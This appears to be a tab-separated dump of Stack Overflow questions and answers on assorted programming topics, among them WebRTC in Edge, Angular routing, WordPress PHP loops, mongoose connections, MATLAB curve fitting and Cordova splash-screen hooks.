6080405	0	 <p>This is SQL Server backup database file. You can restore it by following these steps: <a href="http://msdn.microsoft.com/en-us/library/ms177429.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms177429.aspx</a></p>
36824585	0	Does RTCPeerConnection work in Microsoft Edge? <p>I am currently working on VoIP using WebRTC. It's going to be a UWP application written in JavaScript.</p> <p>Now, I am trying to check whether it works or not by testing samples from <a href="https://webrtc.github.io/samples" rel="nofollow">https://webrtc.github.io/samples</a> on Microsoft Edge. </p> <p>It turns out that it works fine <strong>except</strong> <code>RTCPeerConnection</code>. </p> <p>For example, when I opened <a href="https://webrtc.github.io/samples/src/content/peerconnection/audio" rel="nofollow">https://webrtc.github.io/samples/src/content/peerconnection/audio</a> in Edge, it gave me <code>getUserMedia() error: NotFoundError</code> when I clicked the call button. On Chrome, it works fine.</p> <p>Another example is when I tried <a href="https://apprtc.appspot.com" rel="nofollow">https://apprtc.appspot.com</a>, it gave me </p> <pre><code>Messages: Error getting user media: null getUserMedia error: Failed to get access to local media. Error name was NotFoundError. Continuing without sending a stream. Create PeerConnection exception: InvalidAccessError Version: gitHash: c135495bc71e5da61344f098a8209a255f64985f branch: master time: Fri Apr 8 13:33:05 2016 +0200 </code></pre> <p>So, how should I fix that? <code>Adapter.js</code> is also called. I also allow everything it needs.</p> <p>Or I shouldn't use WebRTC for this project. If so, what should I use?</p> <p>Cheers!</p>
39696189	0	How to use tabs in angular2 <p>I have an application that uses angular2 with routes.ts properly set. In the app, I have navbar set according to the routes defined in routes.ts.</p> <p>In one of the route, I want to use a tab that does not refer to routes.ts but instead I want it to refer to the tab-content class.</p> <p>When I tried to run my application, I got an error that said the route is not defined in the routes.ts.</p> <p>How do I make tabs that refer to tab-content class instead of routes.ts?</p> <p>app.component.ts code:</p> <pre><code>import { Component } from '@angular/core'; import { ROUTER_DIRECTIVES } from '@angular/router'; import { FooterComponent, HEADER_DIRECTIVES, NAVBAR_DIRECTIVES } from 'ui-core/core'; import { HomeComponent } from './components/home/home.component'; import { PrintJobComponent } from './components/printJob/printJob.component'; @Component({ selector: 'app-template', template: ` &lt;cui-header title="Sample App"&gt; &lt;cui-navbar&gt; &lt;cui-navbar-item route="/printJob"&gt;Print Job&lt;/cui-navbar-item&gt; &lt;cui-navbar-item route="/home"&gt;Home&lt;/cui-navbar-item&gt; &lt;/cui-navbar&gt; &lt;/cui-header&gt; &lt;router-outlet&gt;&lt;/router-outlet&gt; &lt;cui-footer [helpRoutePath]="helpRoutePath"&gt;&lt;/cui-footer&gt; `, directives: [FooterComponent, HEADER_DIRECTIVES, ROUTER_DIRECTIVES, NAVBAR_DIRECTIVES] }) export class AppComponent { } </code></pre> <p>routes.ts:</p> <pre><code>/** * angular2 imports */ import { RouterConfig, provideRouter } from '@angular/router'; /** * App Component imports */ import { HomeComponent } from './app/components/home/home.component'; import { PrintJobComponent } from './app/components/printJob/printJob.component'; export const APP_ROUTES: RouterConfig = [ { path: '', redirectTo: '/home', pathMatch: 'full' }, { path: 'printJob', component: PrintJobComponent }, { path: 'home', component: HomeComponent }, ]; export const APP_ROUTER_PROVIDERS = [ provideRouter(APP_ROUTES) ]; </code></pre> <p>printJob.component.ts code:</p> <pre><code> import { Component } from '@angular/core'; @Component({ selector: 'print-job', template: ` &lt;div class="container-fluid single-col-full-width-container"&gt; &lt;br&gt; &lt;ul class="nav nav-tabs"&gt; &lt;li&gt;&lt;a data-toggle="tab" href="#printJobTab"&gt;Print Job&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a data-toggle="tab" href="#reprintJobTab"&gt;Reprint Job&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;div class="tab-content"&gt; &lt;div id="printJobTab" class="tab-pane fade"&gt; &lt;p&gt;table for print job here.&lt;/p&gt; &lt;/div&gt; &lt;div id="reprintJobTab" class="tab-pane fade"&gt; &lt;p&gt;table for reprint job here.&lt;/p&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; ` }) export class PrintJobComponent { } </code></pre>
24924051	0	How to route to static page with out change url path in asp.net mvc3 <p>Basically,I'm trying to route to a static page like this:</p> <p><code>http://127.0.0.1/mypage</code></p> <p>=route to=></p> <p>A static page in my website folder maybe <code>http://127.0.0.1/static/mypage.html</code></p> <p>I have tried:</p> <p>Add a route role: </p> <p><code>routes.MapRoute("StaticPage", "{pagename}", new { controller = "Common", action = "StaticPage" });</code></p> <p>Add an action in <code>Common Controller</code>:</p> <pre><code> public ActionResult StaticPage(string pagename) { return Redirect("/static/" + pagename + ".html"); } </code></pre> <p>But it will change the url and cause twice request, is there any other way(no iframe in view) to remain the url?</p>
12446175	0	How to order list according to the value of variable? (php) <p>First question to the people who know wordpress well: resource/system load wise is it better to query mysql directly and order result there? or use wordpress hooks WP_query fetch all posts and order them according to comments variable?</p> <p>I've this code, it fetches everything. I'd like to order this list according to <code>comments_number( '0', '1', '%' );</code> (higher commented ones at the top) and limit total number displayed to top 4.</p> <p>My code so far:</p> <pre><code> &lt;ul&gt; &lt;?php global $post; $all_events = tribe_get_events( array( 'eventDisplay'=&gt;'upcoming', 'posts_per_page'=&gt;-1 ) ); foreach($all_events as $post) { setup_postdata($post); ?&gt; &lt;li&gt; &lt;a title="&lt;?php the_title(); ?&gt;" href="&lt;?php the_permalink(); ?&gt;"&gt; &lt;?php if ( has_post_thumbnail () ) { echo get_the_post_thumbnail(array(100,100)); } else { echo '&lt;img width="100" height="100" alt="' .get_the_title().'" title="' .strip_tags(get_the_excerpt()).'" src="' .get_bloginfo('template_url') .'/thumbs/event-recent-thumb-na.png"&gt;'; } ?&gt; &lt;/a&gt; &lt;h3&gt;&lt;a title="&lt;?php the_title(); ?&gt;" href="&lt;?php the_permalink(); ?&gt;"&gt; &lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/h3&gt; &lt;span&gt;&lt;?php echo tribe_get_start_date( $p-&gt;ID, true, 'M j, D.' ) . " - " . tribe_get_end_date( $p-&gt;ID, true, 'D.' ); ?&gt;&lt;/span&gt; &lt;p&gt;&lt;?php echo strip_tags(get_the_excerpt()); ?&gt;&lt;/p&gt; &lt;span class="eventinterested"&gt;&lt;?php comments_number( '0', '1', '%' ); ?&gt; &lt;?php _e('interested so far','holidayge'); ?&gt;&lt;/span&gt; &lt;/li&gt; &lt;?php } //endforeach ?&gt; &lt;?php wp_reset_query(); ?&gt; &lt;/ul&gt; </code></pre> <p>Is there a way to modify <code>foreach</code> and order list there? I'm not php programmer, but it seems logical... I'm reading about <a href="http://php.net/manual/en/function.sort.php" rel="nofollow">Sort</a> seems like correct solution?</p>
16171467	0	Instantiate a class in a case-insensitive way <p>I'm faced with a bit of an issue. I have my class name in a variable and I need to instantiate it, but I have no way of knowing that my variable has the exact same case than the class.</p> <p>Example:</p> <pre><code>//The class I'm fetching is named "App_Utils_MyClass" $var = "myclass"; $className = "App_Utils_".$var; $obj = new $className(); </code></pre> <p>How can I make this work?</p> <p>Additional info:</p> <ul> <li>I have a <code>class_exists()</code> check (case insensitive) before this snippet to make sure that the class I want actually exists.</li> <li>The class name is always properly camel-cased (e.g. <code>MySuperAwesomeClass</code>).</li> </ul>
4595294	0	 <p>You can created a clustered index to keep these in the order you want.</p> <p><a href="http://msdn.microsoft.com/en-us/library/aa174523(v=sql.80).aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/aa174523(v=sql.80).aspx</a></p>
34851795	0	How to get static image from google maps in iOS <p>I use google maps api for iOS. I want to get static image of special city and paste it in UIImageView. How can I make it?</p>
26867796	0	Generic mobile tests with appium <p>I'm new to mobile testing , and currently I research for an automation framework for mobile testing. I've started to look into Appium, and created some tests for the demo app I've made (one for IOS and the other for Android). I've managed to write a test for each of the platforms , but I was wondering , how difficult it might be to write a one generic test which will be executed on the both platforms with minimum adjustments ?</p> <p>Thanks </p>
34251834	0	 <p>SSAS only accepts Windows auth. But you can close all Excel windows then start Excel from a command line like this:</p> <pre><code>runas /netonly /user:REALDOMAIN\YOURDOMAINUSERNAME "c:\path\to\excel.exe" </code></pre> <p>Then when it connects to Windows auth resources remotely it will connect as the user you mention in the runas command. </p>
24805490	0	Explain why storing the value of printf in a variable and then printing it gives an extra value? <p><code>int d; d=printf("\n%d%d%d%d",1,2,3,4); printf("%d",d); </code></p> <p>The code gives the output as 1,2,3,4,5. I don't understand why an integer greater than the last one is being printed.</p>
39955915	0	 <p>As an alternative to the guard statement, you could also use the similar <code>if let</code> construct:</p> <pre><code>if let item = item["display-name"] as? String { print(item) } else { print("No display name") } </code></pre>
36685394	1	subprocess.CalledProcessError: returned non-zero exit status 0 <p>What is the meaning of this paradoxical error?</p> <blockquote> <p>subprocess.CalledProcessError: Command '/home/travis/build/fritzo/pomagma/build/debug/src/cartographer/cartographer' returned non-zero exit status 0</p> </blockquote> <p>It happens when I start a subprocess, then tell that subprocess to cleanly exit via a zmq socket. It appears that while zmq is polling, the process exits cleanly (exit code 0), and then this error is raised.</p> <p>Here's the whole traceback (from a <a href="https://travis-ci.org/fritzo/pomagma/builds/123794173" rel="nofollow">travis log</a>):</p> <pre><code>Traceback (most recent call last): File "/home/travis/virtualenv/python2.7_with_system_site_packages/bin/pomagma.make", line 9, in &lt;module&gt; load_entry_point('pomagma==0.2.8', 'console_scripts', 'pomagma.make')() File "/home/travis/virtualenv/python2.7_with_system_site_packages/local/lib/python2.7/site-packages/parsable.py", line 181, in dispatch dispatch(argv) File "/home/travis/virtualenv/python2.7_with_system_site_packages/local/lib/python2.7/site-packages/parsable.py", line 129, in dispatch parser(*args, **kwargs) File "/home/travis/virtualenv/python2.7_with_system_site_packages/local/lib/python2.7/site-packages/parsable.py", line 64, in parser fun(*typed_args, **typed_kwargs) File "/home/travis/build/fritzo/pomagma/pomagma/make.py", line 130, in test_atlas _test_atlas(theory) File "/home/travis/build/fritzo/pomagma/pomagma/make.py", line 59, in _test_atlas assert actual_size == expected_size File "/usr/lib/python2.7/contextlib.py", line 24, in __exit__ self.gen.next() File "/home/travis/build/fritzo/pomagma/pomagma/cartographer/__init__.py", line 14, in load client.stop() File "/home/travis/build/fritzo/pomagma/pomagma/cartographer/client.py", line 207, in stop self._call(request) File "/home/travis/build/fritzo/pomagma/pomagma/cartographer/client.py", line 35, in _call self._poll_callback() File "/home/travis/build/fritzo/pomagma/pomagma/cartographer/server.py", line 66, in check self.log_error() File "/home/travis/build/fritzo/pomagma/pomagma/cartographer/server.py", line 73, in log_error raise CalledProcessError(self._proc.poll(), BINARY) subprocess.CalledProcessError: Command '/home/travis/build/fritzo/pomagma/build/debug/src/cartographer/cartographer' returned non-zero exit status 0 </code></pre>
36256635	0	mongoose right usage of multiple databases? <p>I have multiple <code>mongodb</code> connections in my project:</p> <pre><code>// db.coffee conn1 = mongoose.createConnection "mongodb://192.168.1.193/test" conn2 = mongoose.createConnection "mongodb://92.168.1.81/position" </code></pre> <p>I have a model named <code>PositionNoCity</code> which belongs to <code>conn2</code> and a model named <code>A</code> which belongs to <code>conn1</code>:</p> <pre><code>// a.coffee ASchema = new Schema { a: Number }, {collection: 'test'} mongoose.model 'A', ASchema // pos.coffee PositionNoCitySchema = new Schema { position_id: String, job_forward_stats: [{forward_position_num: Number, forward_position: String, forward_position_ratio: Number}], }, {collection: 'position_indicators_no_city'} mongoose.model 'PositionNoCity', PositionNoCitySchema </code></pre> <p>Now I want to use these models:</p> <pre><code>require './db' require './pos' require './a' mongoose = require 'mongoose' // I have to point out which connection to use here, but with index the code is very very bad A = mongoose.connections[1].model('A') PositionNoCity = mongoose.connections[2].model('PositionNoCity') PositionNoCity.findOne({position_id: "aaa"}).then(console.log).catch(console.log) A.findOne({'a': 1}).then(console.log).catch(console.log) </code></pre> <p>I have two questions:</p> <ol> <li>I just connect 2 times, why 3 connections?</li> <li>if I replace <code>mongoose.connections[2].model</code> with <code>mongoose.model</code>, I run failed. Anyway, <code>mongoose.connections[2].model</code> must be replaced somehow, so how to replace?</li> </ol>
40524081	0	 <p>In the html code, replace:</p> <pre><code>&lt;a href="whatsapp://send?text=Hello"&gt; </code></pre> <p>with:</p> <pre><code>&lt;a href="intent://send?text=Hello#Intent;scheme=whatsapp;package=com.whatsapp;end"&gt; </code></pre> <p>See Chrome's docs about this here: <a href="https://developer.chrome.com/multidevice/android/intents#example" rel="nofollow noreferrer">https://developer.chrome.com/multidevice/android/intents#example</a></p>
30379123	0	 <p>Java interfaces cannot have instance variables. If having them seems really appropriate to you, perhaps you should consider using <a href="https://docs.oracle.com/javase/tutorial/java/IandI/abstract.html" rel="nofollow">an abstract class</a> instead (or in addition) to an interface.</p>
21805767	0	 <p>The problems are caused by this:</p> <pre><code> { (char) c = (int) c - 32 + key + 127; System.out.println(c); } </code></pre> <p>The <code>(char) c = ...;</code> is completely invalid syntax. </p> <p>An assignment is supposed to look like this <code>c = ...;</code>. </p> <p>If you want / need to do a type cast before assigning, the type cast belongs on the right hand side of the assignment operator; i.e. <code>c = (char)(...)</code>.</p> <hr> <p>Anyway, what you have written has cause the Java parser (in your IDE) to get thoroughly confused ... and <em>spectacularly</em> misdiagnose the error as an attempt to declare a constructor, it the wrong context.</p> <p>Unfortunately, this happens sometimes ... though it is compiler dependent. The compiler was trying to be helpful, but the compiler / compiler writer "guessed wrong" about what you were trying to write at that point.</p> <p>Then it appears that the compiler's syntax recovery has inserted a <code>{</code> symbol into its symbol stream in an attempt to fix things. The second error complains that there is no <code>}</code> to match the phantom <code>{</code> that it inserted. Again, it has guessed wrong.</p> <p>But the root cause of this was your original syntax error.</p> <hr> <p>For the record, the <code>int</code> cast in your original expression is not necessary. You <em>could</em> (and IMO should) write the assignment as this:</p> <pre><code>c = (char) (c - 32 + key + 127); </code></pre> <p><strong>Explanation:</strong> in Java, the arithmetic operators always promote their operands to <code>int</code> (or <code>long</code>) before performing the operation, and the result is an <code>int</code> (or <code>long</code>). That means that your explicit cast of <code>c</code> to an <code>int</code> is going to happen anyway.</p>
30178182	0	Collect RoutingError messages thrown <p>I've just put a rails 4 app into production, and I've noticed what look like a number of scripted attacks, mostly on urls that end with .php. They look like this:</p> <pre><code>I, [2015-05-11T22:03:01.715687 #18632] INFO -- : Started GET "/MyAdmin/scripts/setup.php" for 211.172.232.163 at 2015-05-11 22:03:01 +0100 F, [2015-05-11T22:03:01.719339 #18632] FATAL -- : ActionController::RoutingError (No route matches [GET] "/MyAdmin/scripts/setup.php"): actionpack (4.1.0) lib/action_dispatch/middleware/debug_exceptions.rb:21:in `call' </code></pre> <p>I'd like to collect thee url from these RoutingError messages, mostly so I can set up routes for them, probably to simply render nothing.</p> <p>I'd also like to redirect to a site which might keep script runners busy.</p> <p>Anyway, here's the question. Is there any way I can intercept ActionController::RoutingError to run some code?</p> <hr> <p>Bonus question: Does anyone know if there's actually a lot of php apps out there which can be broken into with urls like the one above?</p>
35692662	0	Laravel - Multiple models for one table <p>In my project(laravel 4.2) I am using package for every module. I want every package independent to other, So is this recommend - Multiple models for one table?</p>
30462696	1	How add rows to list view in odoo? <p>I have a result data comming from wsdl file and I want to put this data in the treeview of my odoo module: </p> <p>This is my module architecture : init.py (where I import module.py) openerp.py (dependencies: Base) _module.py (where I've got the main code and everything works fine) templates.xml (Main view going with the main code, no problem)</p> <p>There is the .xml file:</p> <pre><code> &lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;openerp&gt; &lt;data&gt; &lt;menuitem name="Document_Binov" id="Doc_Bin" sequence="30" /&gt; &lt;menuitem name="Documents" id="menu_list_doc" parent="Doc_Bin" sequence="10" /&gt; &lt;!-- Form example --&gt; &lt;record model="ir.ui.view" id="document_form"&gt; &lt;field name="name"&gt;document.form&lt;/field&gt; &lt;field name="model"&gt;document_binov.document_binov&lt;/field&gt; &lt;field name="type"&gt;form&lt;/field&gt; &lt;field name="arch" type="xml"&gt; &lt;form string="Documents"&gt; &lt;sheet&gt; &lt;group&gt; &lt;label string="Titre"/&gt; &lt;field name="titre"/&gt; &lt;label string="Description"/&gt; &lt;field name="description"/&gt; &lt;label string="Type"/&gt; &lt;field name="type"/&gt; &lt;/group&gt; &lt;/sheet&gt; &lt;/form&gt; &lt;/field&gt; &lt;/record&gt; &lt;!--Tree view example --&gt; &lt;record model="ir.ui.view" id="document_tree_view"&gt; &lt;field name="name"&gt;document.tree.view&lt;/field&gt; &lt;field name="model"&gt;document_binov.document_binov&lt;/field&gt; &lt;field name="type"&gt;tree&lt;/field&gt; &lt;field name="arch" type="xml"&gt; &lt;tree string="Documents"&gt; &lt;field name="titre"/&gt; &lt;field name="description"/&gt; &lt;field name="type" /&gt; &lt;/tree&gt; &lt;/field&gt; &lt;/record&gt; &lt;!-- déclaration d'action --&gt; &lt;record model="ir.actions.act_window" id="action_document_work"&gt; &lt;field name="name"&gt;Liste des documents&lt;/field&gt; &lt;field name="res_model"&gt;document_binov.document_binov&lt;/field&gt; &lt;field name="view_type"&gt;form&lt;/field&gt; &lt;field name="view_mode"&gt;tree,form&lt;/field&gt; &lt;!-- &lt;field name="help" type="html"/&gt; --&gt; &lt;field name="document_tree_view" ref="document_form"&gt;&lt;/field&gt; &lt;/record&gt; &lt;!--déclaration menu --&gt; &lt;!-- &lt;menuitem id="document" name="Documents" /&gt; --&gt; &lt;!-- déclaration de menu principale niveau 1--&gt; &lt;!-- déclaration de menu niveai 1.1(sans action=non cliquable) --&gt; &lt;menuitem id="document_menu" name="Liste des documents" parent="menu_list_doc" action="action_document_work" sequence="10"/&gt; &lt;/data&gt; &lt;/openerp&gt; </code></pre> <p>And there is the .py file:</p> <pre><code>class document_binov(models.Model): _name = 'document_binov.document_binov' _description = 'visualise les documents' titre = fields.Char(default='a') description = fields.Char('Description') type = fields.Char('Type') </code></pre> <p><img src="https://i.stack.imgur.com/EtSDr.png" alt="enter image description here"></p> <p>Please help me to put the my result data to the treeview. Thanks in advance</p>
27177474	0	 <p>Assuming you have an image called <code>image.jpg</code>, paste this into a file called <code>go</code>, then type</p> <pre><code>php -f go </code></pre> <p>and you will see what your C++ should generate:</p> <pre><code>&lt;?php header("Content-type: image/jpeg"); readfile('image.jpg'); ?&gt; </code></pre>
20194605	0	 <p>Only <code>functions</code> (and <code>subs</code>) can be referenced by <code>Set functionReference = GetRef("myFunction")</code> but not objects.</p> <p>When you want to have a string reference, you have to create one with each object you would want to refer to. You can use a dictionary for that:</p> <pre><code>Dim foo, bar Dim StringObjectReference : Set StringObjectReference = CreateObject("Scripting.Dictionary") ' Lets create some objects Set foo = CreateObject("System.Collections.ArrayList") Set bar = CreateObject("Scripting.Dictionary") ' Register the objects for referral, now we can reference them by string! StringObjectReference.Add "foo", foo StringObjectReference.Add "bar", bar ' Manipulate the objects through their string reference StringObjectReference("foo").Add "BMW" StringObjectReference("foo").Add "Chrysler" StringObjectReference("foo").Add "Audi" StringObjectReference("foo").Sort StringObjectReference("bar").Add "Bikes", array("Honda", "Thriumph") StringObjectReference("bar").Add "Quads", array("Honda", "Kawasaki", "BMW") ' Retrieve values from the objects ' real: msgbox "My Cars: " &amp; join(foo.ToArray(), ", ") msgbox "My Bikes: " &amp; join(bar("Bikes"), ", ") msgbox "My Quads: " &amp; join(bar("Quads"), ", ") ' From reference msgbox "My Cars: " &amp; join(StringObjectReference("foo").ToArray(), ", ") msgbox "My Bikes: " &amp; join(StringObjectReference("bar").Item("Bikes"), ", ") ' Shorthand notation (without item) msgbox "My Quads: " &amp; join(StringObjectReference("bar")("Quads"), ", ") </code></pre>
6476780	0	 <p>There was a post from @niktrs that provided the right answer, but it's been deleted! </p> <p>So, here's the query I was looking for, with @niktrs help. If his post comes back, I'll accept it.</p> <pre><code>SELECT new_wage FROM hr_wages WHERE effective_date IN (SELECT effective_date,new_wage FROM hr_wages WHERE employee_code='06031-BOB') AND employee_code='06031-BOB' </code></pre> <p>This ugliness can be beautified, I'm sure.</p>
17419374	0	 <p>Thanks to Sunil D.</p> <p>Finally I create extended <code>ItemRenderer</code> like below</p> <pre><code>public class LSLabelCircleItemRenderer extends CircleItemRenderer { private var _label:Label; public function LSLabelCircleItemRenderer():void { super(); _label = new Label(); } override protected function updateDisplayList(unscaledWidth:Number,unscaledHeight:Number):void { super.updateDisplayList(unscaledWidth, unscaledHeight); if(data != null){ var ls:LineSeries = ChartItem(data).element as LineSeries; label.text = LineSeriesItem(data).yValue.toString(); skin.parent.addChild(label); label.setStyle("color",ls.getStyle("fill")); label.move(skin.x - label.getExplicitOrMeasuredWidth() / 5,skin.y - label.getExplicitOrMeasuredHeight()); } } } </code></pre>
10153577	0	 <p>You can add .rc file to your project and include "wx/msw/wx.rc" in it. Then themes should be applied to your GUI (take a look at default samples bundled with wxWidgets - <a href="http://screencast.com/t/QTaQqCxO692w" rel="nofollow">http://screencast.com/t/QTaQqCxO692w</a>).</p>
2220730	0	 <p>Just zero out the appropriate matrix elements. In a 4x4 3D-transform matrix, these are stored as the three first elements in either in the rightmost column or bottom row, depending on whether you use pre- or post-multiplication.</p> <p>If your Matrix class has a method to get the translation, it probably also has a method to add translations. In that case, just add the opposite translation of what you already have.</p>
29541993	0	 <p>Its acctualy possible ;-)</p> <pre><code># not pep8 compatible^ sam = ['Sam',] try: print('hello',sam) if sam[0] != 'harry' else rais except: pass </code></pre> <p>You can do very ugly stuff in python like:</p> <pre><code>def o(s):return''.join([chr(ord(n)+(13if'Z'&lt;n&lt;'n'or'N'&gt;n else-13))if n.isalpha()else n for n in s]) </code></pre> <p>which is function for rot13/cesa encryption in one line with 99 characters. </p>
5102533	0	 <p>You´ll want to use NSWindowLevel, in specific kCGDesktopWindowLevel. A short overview on NSWindowLevel can be found <a href="http://cocoadev.com/index.pl?NSWindowLevel" rel="nofollow">here</a>, and a <a href="http://stackoverflow.com/questions/4982584/how-do-i-draw-the-desktop-on-mac-os-x/4987525#4987525">more elaborate solution</a> has been posted to a <a href="http://stackoverflow.com/questions/4982584/how-do-i-draw-the-desktop-on-mac-os-x">similar stackoverflow question</a> before.</p>
36079592	0	Passing realmobject with parcel to activity has return null <p>can anyone help me with my problem with passing realmobject with parcel to another activity and in second activity my object is null? </p> <p>In Activity i get instatne of class Category from tag. </p> <pre><code> Intent intent = new Intent(context, CategoryListActivity.class); Category category = (Category)v.getTag(); Log.e("Id", " "+category.getId()); //this is ok it prints 1 Parcelable parcelable = Parcels.wrap(category); intent.putExtra("category", parcelable); startActivity(intent); </code></pre> <p>And in class CategoryListActivity v method onCreate is code </p> <pre><code>Intent intent = getIntent(); Category category = Parcels.unwrap(intent.getParcelableExtra("category")); Category category1= Parcels.unwrap(getIntent().getExtras().getParcelable("category")); Log.e("Id 1", " "+category.getId()); //retun 0 Log.e("Id 1", " "+category1.getId()); //return 0 </code></pre> <p>And this print 0 and i rly dont know why is 0. Can anyone has some suggestion to resolve this? thx, or if its necessery insert my Entity which extend RealmObject i can paste </p>
10186225	0	 <p>It is possible to use a custom request handler that enables django's i18n trans tag with google app engine. But much better is use jinja2 like is said here, then the solution is official. You should import jinja2 from webapp2_extras and then your i18n will work and the translation tag for jinja2 will look like <code>{% trans %}</code> and <code>{ % endtrans %}</code>.</p> <p>If you must use django here is a link to an old blod post that presents a custom request handler that you can use if you must use django templates: <a href="http://blog.yjl.im/2009/02/using-django-i18n-in-google-app-engine.html" rel="nofollow">http://blog.yjl.im/2009/02/using-django-i18n-in-google-app-engine.html</a></p> <p>But we recommend that you use jinja2. Have you tried it?</p>
1634359	0	Is there a reverse function for strstr <p>I am trying to find a similar function to <code>strstr</code> that searches a substring starting from the end towards the beginning of the string.</p>
30357837	0	 <p>You will need to combine it with AJAX or jQuery codes. It is not only php!</p> <p>Check this out: - <a href="http://stackoverflow.com/questions/10805187/jquery-login-form-in-div-without-refreshing-whole-page">jquery login form in div without refreshing whole page</a></p>
12293806	0	 <p>From javadoc of <a href="http://weka.sourceforge.net/doc.dev/weka/filters/unsupervised/attribute/MathExpression.html" rel="nofollow">MathExpression</a></p> <blockquote> <p>The 'A' letter refers to the value of the attribute being processed. Other attribute values (numeric only) can be accessed through the variables A1, A2, A3, ...</p> </blockquote> <p>Your filter applies to all attributes of your dataset. If I load iris dataset and apply following filter.</p> <blockquote> <p>weka.filters.unsupervised.attribute.MathExpression -E log(A).</p> </blockquote> <p>your attribute ,sepallength values change as following.</p> <pre><code>Before Filter After Filter Minimum 4.3 Minimum 1.459 Maximum 7.9 Maximum 2.067 Mean 5.843 Mean 1.755 StdDev 0.828 StdDev 0.141 </code></pre> <p>Also if you look to javadoc, there is no if else function but ifelse function. Therefore you should write something like</p> <pre><code>ifelse ( (A == 2 || A == 0), 1,0 ) </code></pre> <p>Also this filter applies to all attributes. If you want to change only one attribute and according to other attribute values ; then you need to use "Ignore range option" and use A1,A2 to refer to other attribute values.</p> <p>if you need to add new attribute use <a href="http://weka.sourceforge.net/doc.dev/weka/filters/unsupervised/attribute/AddExpression.html" rel="nofollow">AddExpression</a>.</p> <blockquote> <p>An instance filter that creates a new attribute by applying a mathematical expression to existing attributes. </p> </blockquote>
26662283	0	 <p>In order to compute the rmse it is neccessary to have a maximum of 1 y value per x value, mathematically speaking a "function". You can plot later again the way your sketch shows it. But for the computation: rotate by 90 degree.</p> <p>For the optimization, you need an initiall guess (your <code>Alpha</code>), which is not defined. However, with some minor changes in the code below, one can get the optimal parameters. Also it might be better readable. The plot is shown below.</p> <pre><code>plot(r, XMean ,'ko', 'markerfacecolor', 'black') % // need a "function" (max 1y value for 1x-value) Eqn = @(par, x) par(1).*( 1 - ( (par(2) - x) / par(3) ).^2 ); par0 = [1, 1, 1]; % // an initial guess as start for optimization par_fit = nlinfit(r, XMean, Eqn, par0 ); % // optimize hold on r_fit = linspace(min(r), max(r)); % // more points for smoother curve plot(r_fit, Eqn(par_fit, r_fit), 'r') </code></pre> <p><img src="https://i.stack.imgur.com/w6PDy.png" alt="enter image description here"> The optimal parameters i get returned are</p> <pre><code>par_fit = 0.1940 -0.4826 9.0916 </code></pre> <p>You might want to rotate the plot again to get it into the right orientation, as in your sketch.</p> <h1>Additional Info: polyfit() instead of nlinfit</h1> <p>Since one can compute this flow profile analytically, one knows in advance that is is a parabola. You can also use <code>polyfit</code> to fit a parabola.</p> <pre><code>par_poly_fit = polyfit(r, XMean, 2) % // it yields the values: par_poly_fit = -0.0023 -0.0023 0.1934 </code></pre> <p>Plotting that paraobla gives a line pretty much identical to the line, which we got with the optimizer, but it is just more stable since it does not depend on an initial value.</p> <pre><code> plot(r_fit, polyval(par_poly_fit, r_fit),'g--' </code></pre>
9525576	0	 <p>according to <a href="http://www.connectionstrings.com/Articles/Show/use-application-name-sql-server" rel="nofollow">this link</a> you can put space there</p>
25371760	0	 <p>Alright, since I got no answers for this question, I'm going to post the solution that worked for me.</p> <p>Using Cordova’s hooks (<code>after_prepare</code>) I was able to copy the splash screen files from <code>/www</code> to the correct Android and iOS platform directories.</p> <p>The hook lives in <code>/hooks/after_prepare/030_resource_files.js</code> and it gets executed by Cordova right after the prepare step.</p> <p>This is what my code looked like at the end:</p> <pre><code>#!/usr/bin/env node // Reference: http://devgirl.org/2013/11/12/three-hooks-your-cordovaphonegap-project-needs/ // // This hook copies various resource files from our version control system directories into the appropriate platform specific location // var appName = "MyAwesomeApp"; // configure all the files to copy. Key of object is the source file, value is the destination location. It's fine to put all platforms' icons and splash screen files here, even if we don't build for all platforms on each developer's box. var filestocopy = [{ "www/res/screens/android/drawable/splash.png": "platforms/android/res/drawable/splash.png" },{ "www/res/screens/android/drawable-hdpi/splash.png": "platforms/android/res/drawable-hdpi/splash.png" }, { "www/res/screens/android/drawable-ldpi/splash.png": "platforms/android/res/drawable-ldpi/splash.png" }, { "www/res/screens/android/drawable-mdpi/splash.png": "platforms/android/res/drawable-mdpi/splash.png" }, { "www/res/screens/android/drawable-xhdpi/splash.png": "platforms/android/res/drawable-xhdpi/splash.png" }, { "www/res/screens/ios/Resources/splash/Default@2x~iphone.png": "platforms/ios/" + appName + "/Resources/splash/Default@2x~iphone.png" }, { "www/res/screens/ios/Resources/splash/Default-568h@2x~iphone.png": "platforms/ios/" + appName + "/Resources/splash/Default-568h@2x~iphone.png" }, { "www/res/screens/ios/Resources/splash/Default~iphone.png": "platforms/ios/" + appName + "/Resources/splash/Default~iphone.png" }]; var fs = require('fs'); var path = require('path'); // no need to configure below var rootdir = process.argv[2]; filestocopy.forEach(function(obj) { Object.keys(obj).forEach(function(key) { var val = obj[key]; var srcfile = path.join(rootdir, key); var destfile = path.join(rootdir, val); //console.log("copying "+srcfile+" to "+destfile); var destdir = path.dirname(destfile); if (fs.existsSync(srcfile) &amp;&amp; fs.existsSync(destdir)) { fs.createReadStream(srcfile).pipe(fs.createWriteStream(destfile)); } }); }); </code></pre> <p>Still pretty difficult to get it working as there are a lot of pieces that have to fit together for it to work, but it was the hooks that helped me solve my problem.</p> <p>Source: The <em>Copy Icons and Splashscreens</em> section of an article by Holly Schinsky was incredibly helpful and where I took most of the code from: <a href="http://devgirl.org/2013/11/12/three-hooks-your-cordovaphonegap-project-needs/" rel="nofollow">http://devgirl.org/2013/11/12/three-hooks-your-cordovaphonegap-project-needs/</a></p>
